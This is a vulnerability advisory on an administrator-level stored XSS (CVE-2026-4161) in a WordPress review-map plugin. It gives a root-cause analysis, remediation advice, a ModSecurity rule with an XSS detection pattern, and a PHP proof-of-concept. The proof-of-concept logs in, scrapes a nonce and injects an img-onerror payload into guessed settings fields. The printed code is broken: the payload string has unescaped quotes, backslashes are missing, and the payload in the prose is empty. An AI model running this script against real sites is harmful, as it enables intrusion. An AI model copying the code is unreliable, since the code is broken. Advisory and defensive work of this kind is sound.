Atomic Edge analysis of CVE-2026-4161 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Review Map by RevuKangaroo WordPress plugin, affecting all versions up to and including 1.7. The vulnerability resides in the plugin’s settings management functionality. It allows attackers with administrator-level privileges or higher to inject arbitrary JavaScript, which is then stored and executed in the context of the WordPress admin interface. The CVSS score of 4.4 reflects a medium severity, tempered by the high attack complexity and the requirement for administrative access. The vulnerability is only exploitable on WordPress multisite installations or on single-site installations where the `unfiltered_html` capability is disabled.
Atomic Edge research infers the root cause is improper neutralization of user input before output in the plugin’s settings pages. The CWE-79 classification and description of insufficient input sanitization and output escaping indicate the plugin likely fails to use WordPress core sanitization functions like `sanitize_text_field` or `wp_kses` on user-supplied settings values. It also likely fails to use proper output escaping functions like `esc_html` or `esc_attr` when echoing these values back into the page. These conclusions are inferred from the CWE and standard WordPress security practices, as no source code diff is available for confirmation.
Exploitation requires an authenticated attacker with administrator or super administrator privileges. The attacker would navigate to the plugin’s settings page within the WordPress admin area, typically found at a path like `/wp-admin/admin.php?page=review-map-by-revukangaroo` or a similar submenu. The attacker would then submit a malicious payload within one or more of the plugin’s settings fields. A likely payload is a basic JavaScript event handler such as `
`. Upon saving the settings, this payload would be stored in the WordPress database. The script executes whenever an authorized user, such as an administrator, loads the compromised settings page.
Remediation requires implementing proper input validation, sanitization, and output escaping. The plugin developers should apply WordPress core sanitization functions to all user-controlled data before saving it to the database. Functions like `sanitize_text_field` or `wp_kses_post` are appropriate for text and HTML content. When outputting this data in admin pages, the plugin must use context-appropriate escaping functions like `esc_html`, `esc_attr`, or `wp_kses`. Atomic Edge analysis confirms these are standard fixes for CWE-79 in the WordPress ecosystem.
The impact of successful exploitation is limited by the high privilege requirement but remains significant. An attacker with administrator access can already perform most malicious actions directly. However, this stored XSS could be used to create a persistent backdoor within the admin interface, hijack administrator sessions, or perform actions on behalf of the user without their knowledge. In a multisite context, a compromised super administrator could potentially attack other sites within the network. The attack could also facilitate social engineering or credential theft by modifying the admin interface.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4161 (metadata-based)
# This rule targets the plugin's settings update endpoint in the WordPress admin.
# It blocks POST requests to the plugin's settings page that contain common XSS patterns in probable parameter names.
SecRule REQUEST_URI "@rx /wp-admin/admin.php"
"id:10004161,phase:2,deny,status:403,chain,msg:'CVE-2026-4161: Review Map by RevuKangaroo Stored XSS via Settings',severity:'CRITICAL',tag:'CVE-2026-4161',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule ARGS_GET:page "@streq review-map-by-revukangaroo" "chain"
SecRule ARGS_POST "@rx (?i)<script|<img|<svg|onerror|onload|javascript:"
"t:none,t:urlDecode,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4161 - Review Map by RevuKangaroo <= 1.7 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
<?php
/**
* Proof of Concept for CVE-2026-4161.
* ASSUMPTIONS:
* 1. The plugin settings are saved via a standard WordPress admin POST request.
* 2. The settings page is accessible at a predictable admin URL.
* 3. The plugin uses a nonce for security, which this script extracts from the page.
* 4. The vulnerable parameter(s) are among common setting field names.
* Without access to the plugin code, these are educated inferences.
*/
$target_url = 'http://target-site.local/wp-admin/'; // CONFIGURE THIS
$username = 'administrator'; // CONFIGURE THIS
$password = 'password'; // CONFIGURE THIS
// Payload to inject. This is a basic XSS proof-of-concept.
$xss_payload = '<img src=x onerror=alert('Atomic Edge XSS Test: '+document.domain)>';
// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Step 1: Authenticate to WordPress
$login_url = $target_url . 'wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
$response = curl_exec($ch);
// Extract the login nonce (wpnonce) from the form
preg_match('/name="log"[^>]*>/', $response, $matches); // Simple pattern, real extraction would be more robust
// For this PoC, we assume we can get the nonce. In a real scenario, use a proper HTML parser.
// This is a limitation of metadata-based analysis.
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . 'admin.php',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Step 2: Navigate to the plugin's settings page to get the nonce and form structure.
// Inferred settings page URL based on common WordPress plugin patterns.
$settings_page_url = $target_url . 'admin.php?page=review-map-by-revukangaroo';
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page = curl_exec($ch);
// Extract the nonce from the settings form. Look for a field named '_wpnonce' or similar.
preg_match('/name="_wpnonce" value="([^"]+)"/', $settings_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract security nonce. The page structure may differ.');
}
// Step 3: Submit the XSS payload via the settings form.
// Without the exact parameter names, we attempt common patterns.
$exploit_post_data = [
'_wpnonce' => $nonce,
'_wp_http_referer' => $settings_page_url,
'submit' => 'Save Settings',
// Attempt to inject into plausible setting field names.
'api_key' => $xss_payload,
'map_settings' => $xss_payload,
'default_location' => $xss_payload
];
curl_setopt($ch, CURLOPT_URL, $settings_page_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_post_data));
$exploit_response = curl_exec($ch);
if (strpos($exploit_response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
echo "Payload submitted. Check the plugin settings page for XSS execution.n";
} else {
echo "Exploit attempt may have failed. Manual verification required.n";
}
curl_close($ch);
?>